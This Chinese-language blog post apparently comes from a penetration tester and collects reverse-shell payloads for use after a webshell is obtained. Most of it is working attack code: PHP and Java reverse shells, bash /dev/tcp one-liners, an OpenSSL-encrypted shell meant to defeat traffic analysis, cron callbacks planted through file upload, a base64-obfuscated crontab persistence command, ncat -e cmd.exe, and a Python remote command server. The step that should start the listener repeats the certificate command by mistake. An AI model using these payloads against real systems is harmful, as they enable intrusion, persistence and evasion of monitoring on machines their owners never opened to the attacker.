0%

关于反弹shell的那些事

众所周知的反弹shell

我们拿到webshell后如果想进一步搞事情,那么肯定绕不过反弹shell。即使有蚁剑,菜刀这样的神器,但是非交互式的shell仍有很多不好用的地方。
先说反弹shell吧,反弹shell的方法很多,各个语言有各个语言的方式,这里不是为了介绍这些的,当然还是贴一个大佬朋友的博客>点击这里<,你们可以去上面看看他的总结。
另外,补充一个现实非常好用的php反弹shell的脚本,可以说我用这个脚本反弹从来没失败过。

代码如下,改好ip+port运行即可:

1
2
3
4
5
6
7
8
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

真的是比网上的那些php反弹shell(比如:php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’)成功率高很多。当然此方法也有限制,限制就是系统没有禁用 proc_popen(默认不禁用)。

还有网上广泛的java反弹shell,但是在我测试的时候经常是失败的:

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

上面这种我测试经常是失败的,可能是版本不支持或者写法有问题吧,具体不太清楚。
也给大家推荐我常用的java的反弹shell:

1
2
3
4
5
6
7
8
9
// payload1
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();

//payload2
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
p.waitFor();

加密的反弹shell

这个是源于看freebuf的一篇文章,后来才知道原来ssl也可以进行反弹shell的加密。这样我们执行的命令流量就不能被分析出来了(在实战中可能有更大的用处,毕竟留痕更少)。

  • 1 首先,vps上生成SSL证书的公私钥对
    1
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  • 2 在自己的VPS上监听反弹shell
    1
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  • 3 在目标上用openssl加密反弹shell的流量
    1
    mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1|openssl s_client -quiet -connect vps:443 > /tmp/s;rm /tmp/s
    你可以自己去抓包分析,对比加密反弹和常规反弹包,可以很清楚的知道加密的流量包是分析不出来我们执行了那些命令的。而且由于mkfifo 系统大多数系统自带,所以绝大多数都可以使用这种方式来反弹加密的shell流量。

利用cron的反弹shell

有时候我们还没拿到webshell,这时也并一定就没法反弹一个shell出来。这里分享一个例子:
曾经有次渗透测试java web网站,网站存在任意文件上传,但是上传的jsp无法执行,可能是需要编译部署后才可执行(黑盒,具体原因现在也没搞清),所以需要其他的思路来拿shell,当时就是利用的任意文件上传cron。文件内容就是下面这样:

1
* * * * * bash -i >& /dev/tcp/192.168.2.15/9999  0>&1

当然如果有webshell 也可以用cron反弹shell(维持权限):

1
cmd=system('echo ZWNobyAiKiAqICogKiAqIGJhc2ggLWMgJ3tlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHpPUzR4TURVdU9TNHhMems1T1RrZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0nIiB8Y3JvbnRhYiAt |base64 -d|bash -i');

这个姿势还常用于awd中的权限维持,可以写好脚本从靶机直接进行flag的提交。另外对crontab不了解的同学可以去深入学习下crontab的结构和知识(很简单的)。

有时候在实战中经常发现用webshell进行shell反弹时会出现很多问题,但绝大多数都是编码的问题,这里记录下某次用jsp的命令执行进行的shell 反弹。

1
2
3
4
5
6
7
{echo,base64}|{base64,-d}|{bash,-i} 
//这种可以解决编码问题,但是不能忽略base64中的 + 号,这个也得编码。

bash -c {echo,base64}|{base64,-d}|{bash,-i}
//java执行命令的小马一般用上述的反弹那 shell 方式

bash -c "bash -i ........."

交互式shell

上面的都是讲反弹shell,那么反弹shell后怎么拿到一个交互式的shell呢?(ctrl+c断不掉的那种)
直接上方法吧(不介绍第三方工具,因为大多数目标环境没有):

  • python实现的弱tty
    1
    python3 -c 'import pty;	pty.spawn("/bin/bash")'
    为什么是一个弱tty呢 因为ctrl+c 仍可以中断,不过已经够用了 vi su 等等命令已经不是问题了。
    它可以利用socat和nc来实现强tty不过目前感觉没啥用!感兴趣的去看下这篇文章: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
    目前还没发现比这个更好用的交互式shell的利用。以后有了再补充这块吧!

补充下windows 反弹shell

    1. 毫无疑问msf才是最适合windows反弹shell的工具
    1. nc
      1
      ncat -e cmd.exe 192.168.174.129 8080
      也挺好用,就是有时候没有nc,自己传也很麻烦还有诸多限制。
  • 3.python
    有python环境也可以用python来反弹,相当于用python写了一个nc
    服务端
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    #-*- coding: utf-8 -*-
    from socket import *
    import os
    HOST=''
    PORT=1122
    BUFSIZ=1024
    ADDR=(HOST, PORT)
    sock=socket(AF_INET, SOCK_STREAM)
    sock.bind(ADDR)
    sock.listen(1)
    STOP_CHAT=False
    while not STOP_CHAT:
    tcpClientSock, addr=sock.accept()
    print('Listening.....')
    while True:
    try:
    data=tcpClientSock.recv(BUFSIZ)
    except:
    tcpClientSock.close()
    break
    if not data:
    break
    STOP_CHAT=(data.decode('utf8').upper()=="QUIT")
    if STOP_CHAT:
    #打扫战场 运用linux定时计划任务一分钟后删除当前脚本文件
    #current_file_path =os.getcwd()+sys.argv[0]
    #os.system('echo */1  *  *  *  *  rm -rf '+current_file_path+' >> /etc/crontab')
    #tell_hack = 'Will help you clean war...'
    #tcpClientSock.sendall(tell_hack.encode('utf8'))
    break
    ME = os.popen(data.decode('utf8'))
    os_result = ME.read()
    print(os_result)
    tcpClientSock.sendall(os_result.encode('utf8'))
    tcpClientSock.close()
    sock.close()
    客户端
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #-*- coding: utf-8 -*-
    import os,sys
    from socket import *
    class TcpClient:
    HOST='127.0.0.1'
    PORT=1122
    BUFSIZ=2048
    ADDR=(HOST, PORT)
    def __init__(self):
    self.client=socket(AF_INET, SOCK_STREAM)
    self.client.connect(self.ADDR)
    while True:
    data=input('OS Shell >')
    if not data:
    break
    self.client.send(data.encode('utf8'))
    print('Execute %s:%s' %(self.HOST,data))
    if data.upper()=="QUIT":
    break
    data=self.client.recv(self.BUFSIZ)
    if not data:
    break
    print('Receive:%s' %(data.decode('utf8')))
    if __name__ == '__main__':
    client=TcpClient()

    总结

    反弹shell的方法五花八门,最重要的还是找到一个依赖最少的,最稳定的反弹shell的方式。

采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」